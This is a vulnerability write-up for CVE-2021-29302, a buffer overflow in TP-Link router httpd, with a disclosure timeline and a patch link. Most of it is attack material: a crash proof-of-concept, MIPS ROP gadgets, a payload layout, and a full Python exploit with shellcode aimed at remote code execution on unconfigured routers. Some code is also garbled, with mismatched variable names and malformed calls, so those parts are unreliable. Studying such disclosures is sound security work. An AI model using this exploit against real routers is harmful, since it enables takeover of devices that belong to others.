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liyansong2018 TP-LINK Buffer Overflow & Exploit ... on Jul 3, 2021 [History](#)

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Buffer Overflow in TP-Link Devices

Overview

- CVE ID: [CVE-2021-29302](#)
- Type: Buffer overflow
- Vendor: TP-LINK (<https://www.tp-link.com>)
- Products: WiFi Router, such as TL-WR802N(US), Archer_C50v5_US, etc.
- Version: V4_200 <= 2020.06
- Fix: [https://static.tp-link.com/beta/2021/202103/20210319/TL-WR802Nv4_US_0.9.1_3.17_up_boot\[210317-rel64474\].zip](https://static.tp-link.com/beta/2021/202103/20210319/TL-WR802Nv4_US_0.9.1_3.17_up_boot[210317-rel64474].zip)

Severity

High 8.1 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

| CVSS3.1 | Score | Detail |
|---------------------|-----------|--|
| ATTACK VECTOR | Network | Connect the router through the network |
| ATTACK COMPLEXITY | High | It is necessary to use carefully constructed messages to attack when the router has not set a password |
| PRIVILEGES REQUIRED | None | No permissions are required |
| USER INTERACTION | None | No need for users to click |
| SCOPE | Unchanged | Null |
| CONFIDENTIALITY | High | RCE |
| INTEGRITY | High | RCE |
| AVAILABILITY | High | RCE |

Description

There is a buffer overflow when HTTP body message is parsed by httpd process, which may lead to remote code execution. For example, When we set the router password for the first time, the http daemon did not verify the external http message. If we transmit a long user name or password, it will cause the httpd process access to illegal address.

[illegible]

The instruction where the error occurred is `libcmm.so`

```
00082F14 00082F14: dm_checkString+1C (Synchronized with Hex View-1)
```

Crash log

```

1695 [ httpd: httpd rpm auth main ] 006: p0Data->uid ERR, -1
1696 [ 159.480000] do_page_fault() #2: sending SIGSEGV to httpd for invalid read access from
1697 [ 159.480000] 6464646c (epc == 2ab8af38, ra == 2ab8af34)
1698 [ 159.480000] Cpu 0
1699 [ 159.480000] $ 0 : 00000000 1000a400 00000591 00000590
1700 [ 159.480000] $ 4 : 7fed7f00 fefefeff 00000000 00000000
1701 [ 159.480000] $ 8 : 00000064 00000000 00000000 00000000
1702 [ 159.480000] $12 : 00000000 00000000 00000000 00000000
1703 [ 159.484000] $16 : 7fed7f00 64646464 7fed8468 00000591
1704 [ 159.484000] $20 : 7fed8451 00000001 00000000 7fedc8c4
1705 [ 159.484000] $24 : 00000000 2ae950c0
1706 [ 159.484000] $28 : 2abf1410 7fed7e18 7fed8468 2ab8af34
1707 [ 159.484000] Hi : 00000000
1708 [ 159.484000] Lo : 00000054
1709 [ 159.484000] epc : 2ab8af38 0x2ab8af38
1710 [ 159.484000] Not tainted
1711 [ 159.484000] ra : 2ab8af34 0x2ab8af34
1712 [ 159.484000] Status: 0000a413 USER EXL IE
1713 [ 159.484000] Cause : 10800008
1714 [ 159.484000] BadVA : 6464646c
1715 [ 159.484000] PrId : 00019300 (MIPS 24Kc)
1716 [ 159.484000] Modules linked in:
1717 [ 159.484000] Process httpd (pid: 436, threadinfo=8f0de000, task=8f0a76e0, tls=00000000)
1718 [ 159.484000] Stack: 00000070 00000000 00000000 00000000 00000000 2abf1410 00000000
1719 [ 159.488000] 2abf1410 6477506e 00000000 00000000 64646464 7fed7f00 2ab8b630
1720 [ 159.488000] 00000000 00000000 00000000 00000000 00000000 2abf1410 00000000
1721 [ 159.488000] 00000000 7fed6dc3 00000008 58800518 7fed8451 00000001 00000000 2ab7fcb8
1722 [ 159.488000] 00000000 00000000 00000000 00000000 5880a804 00000000 00000000 00000000
1723 [ 159.488000] ...
1724 [ 159.488000] Call Trace:
1725 [ 159.488000]
1726 [ 159.488000]
1727 [ 159.488000] Code: 0320f809 00a08021 00409821 <8e220008> 8fbc0020 2c430008 1060010a 24040008 8f838034
1728 [ 159.488000] httpd/436: potentially unexpected fatal signal 11.
1729 [ 159.488000]
1730 [ 159.488000] Cpu 0
1731 [ 159.488000] $ 0 : 00000000 1000a400 00000591 00000590
1732 [ 159.488000] $ 4 : 7fed7f00 fefefeff 00000000 00000000
1733 [ 159.488000] $ 8 : 00000064 00000000 00000000 00000000
1734 [ 159.488000] $12 : 00000000 00000000 00000000 00000000
1735 [ 159.492000] $16 : 7fed7f00 64646464 7fed8468 00000591
1736 [ 159.492000] $20 : 7fed8451 00000001 00000000 7fedc8c4

```

Vulnerability analysis

Through the tracking of data flow, we found that the problem occurred in the following code

```

65 cdbg_printf(8, "dm_fillObjByStr", 1959, "Get parameter %s's information failed.", v25);
66 return 9005;
67 }
68
69 if ( ( (WORD)v27[3] & 1) == 0 )
70 {
71     cdbg_printf(8, "dm_fillObjByStr", 1965, "Parameter(%s) deny to be written.", v25);
72     return 9001;
73 }
74
75 v21 = v17 + 1;
76 if ( v14 )
77 {
78     v22 = v14 - v17 - 1;
79     strcpy(v26, v21, v22);
80     v25[v22 + 64] = 0;
81     v8 = (_BYTE*)(v14 + 1);
82     if ( *(_BYTE*)(v14 + 1) )
83     {
84         v14 = strchr(v14 + 1, 10);
85     }
86     else
87     {
88         v15 = 1;
89         v14 = 0;
90     }
91 }
92 else
93 {
94     v15 = 1;
95     strcpy(v26, v21, 1965);
96 }
97
98 v18 = dm_setParamNodeString(v27, v26, #6);
99 v19 = 1995;
100 if ( v18 )
101 {
102     v23 = (char*)"v27;
103     v20 = "Set parameter %s's value to object error.";
104     goto LABEL_23;

```

v21 variable stores the value corresponding to each key-value pair (such as user name and password), The length of the variable v26 is only 1304 bytes. When we are exploiting the vulnerability, we also need to pay attention to the 96 lines of code that will cause a crash due to buffer overflow.

How to Reproduce (PoC)

It is easy to reproduce this problem.

```
# Only after resetting the router or using the router for the first time, can the script work effectively!
import requests

headers = {
    "Host": "192.168.0.1",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept": "*/**",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "text/plain",
    "Content-Length": "78",
    "Origin": "http://192.168.0.1",
    "Connection": "close",
    "Referer": "http://192.168.0.1/"
}

payload = "a" * 512 + "b" * 1024
formatdata = "[/cgi/auth#0.0.0.0.0.0#0.0.0.0.0.0]r\\nname={}\\r\\noldPwd=admin\\r\\npwd=lvs123\\r\\n".format(payload)
```

```
url = "http://192.168.0.1/cgi?8"

response = requests.post(url, data=formdata, headers=headers)
print response.text
```

How to Exploit (exp)

In libc-0.9.33.so, find the widget that can jump to the sleep function, and this widget can assign a value to the RA register, which is convenient to control the instruction that the return address points to.

```
# gadget 1
.text:000369E4          move    $t9, $s0
.text:000369E8          lw      $ra, 0x24($sp)
.text:000369EC          lw      $s0, 0x20($sp)
.text:000369F0          addiu   $a0, 0xC
.text:000369F4          jr      $t9
.text:000369F8          addiu   $sp, 0x28
```


Look for instructions that can store the stack address in the register. The stack address is the shellcode address.

```
# gadget 2
.text:00058894          addiu   $a1, $sp, 0x34
.text:00058898          move    $t9, $s0
.text:0005889C          jalr    $t9
```

Jump to stack to execute code.

```
# gadget 3
.text:0003FD8C          move    $t9, $a1
.text:0003FD90          move    $a1, $a2
.text:0003FD94          jr      $t9
```

Stack layout



payload

```
payload = b'a' * (0x580 - 0x68)
payload += p32(file_base + 0xa780) # v27
payload += b'b' * 4
payload += p32(libc_base + 0x56020) # s0
payload += b'c' * (0x5ac - 0x588 - 0x4)
payload += p32(libc_base + gadget_1) # ra = gadget

payload += b'd' * 0x20
payload += p32(libc_base + gadget_3)
payload += p32(libc_base + gadget_2)
payload += b'e' * 0x34
```

result

```
gef> c
Continuing.
process 444 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
Reading /lib/ld-uClibc.so.0 from remote target...
Reading /lib/ld-uClibc.so.0 from remote target...
```

exp

```
# Only after resetting the router or using the router for the first time, can the script work effectively!
import requests
from pwn import *

headers = {
    "Host": "192.168.0.1",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "text/plain",
    "Content-Length": "78",
    "Origin": "http://192.168.0.1",
    "Connection": "close",
    "Referer": "http://192.168.0.1/"
}

libcmm_base = 0x2b985000
file_base = 0x58800000
libuclibc_base = 0x2bcd0000

gadget_1 = 0x000369E4
gadget_2 = 0x00058894
gadget_3 = 0x0003FD8C

shellcode = "\x66\x06\x06\x24" + "\xff\xff\xd0\x04" + "\xff\xff\x06\x28" + "\xe0\xff\xbd\x27" + "\x01\x10\xe4\x27" + "\x1f\xff\x84\x24"

payload += b'a' * (0x580 - 0x68)
payload += p32(file_base + 0xa780) # v27
payload += b'b' * 4
payload += p32(libuclibc_base + 0x56D20) # s0
payload += b'c' * (0x5ac - 0x588 - 0x4)
payload += p32(libuclibc_base + gadget_1) # ra = gadget

payload += b'd' * 0x20
payload += p32(libuclibc_base + gadget_3)
payload += p32(libuclibc_base + gadget_2)
payload += b'e' * 0x34

payload += shellcode

str_payload = ""

for p in payload:
    str_payload += chr(p)

formdata = "[/cgi/auth#0,0,0,0,0#0,0,0,0,0]0,3\r\nname=admin\r\noldPwd=admin\r\npwd={}\r\n".format(str_payload)

url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)
print(formdata)
print(response.text)
```



Disclosure Timeline

- 14-Mar-2021 Discovered the vulnerability
- 15-Mar-2021 Responsibly disclosed vulnerability to vendor
- 19-Mar-2021 Vendor Acknowledged the disclosure & Vendor provided software build to verify the issue
- 24-Mar-2021 Requested for CVE-ID assignment
- 29-Mar-2021 CVE-ID Assigned
- 9-Apr-2021 Updated a CVE Record
- 10-Apr-2021 Notify CVE about a publication
- 3-Jul-2021 Added exploit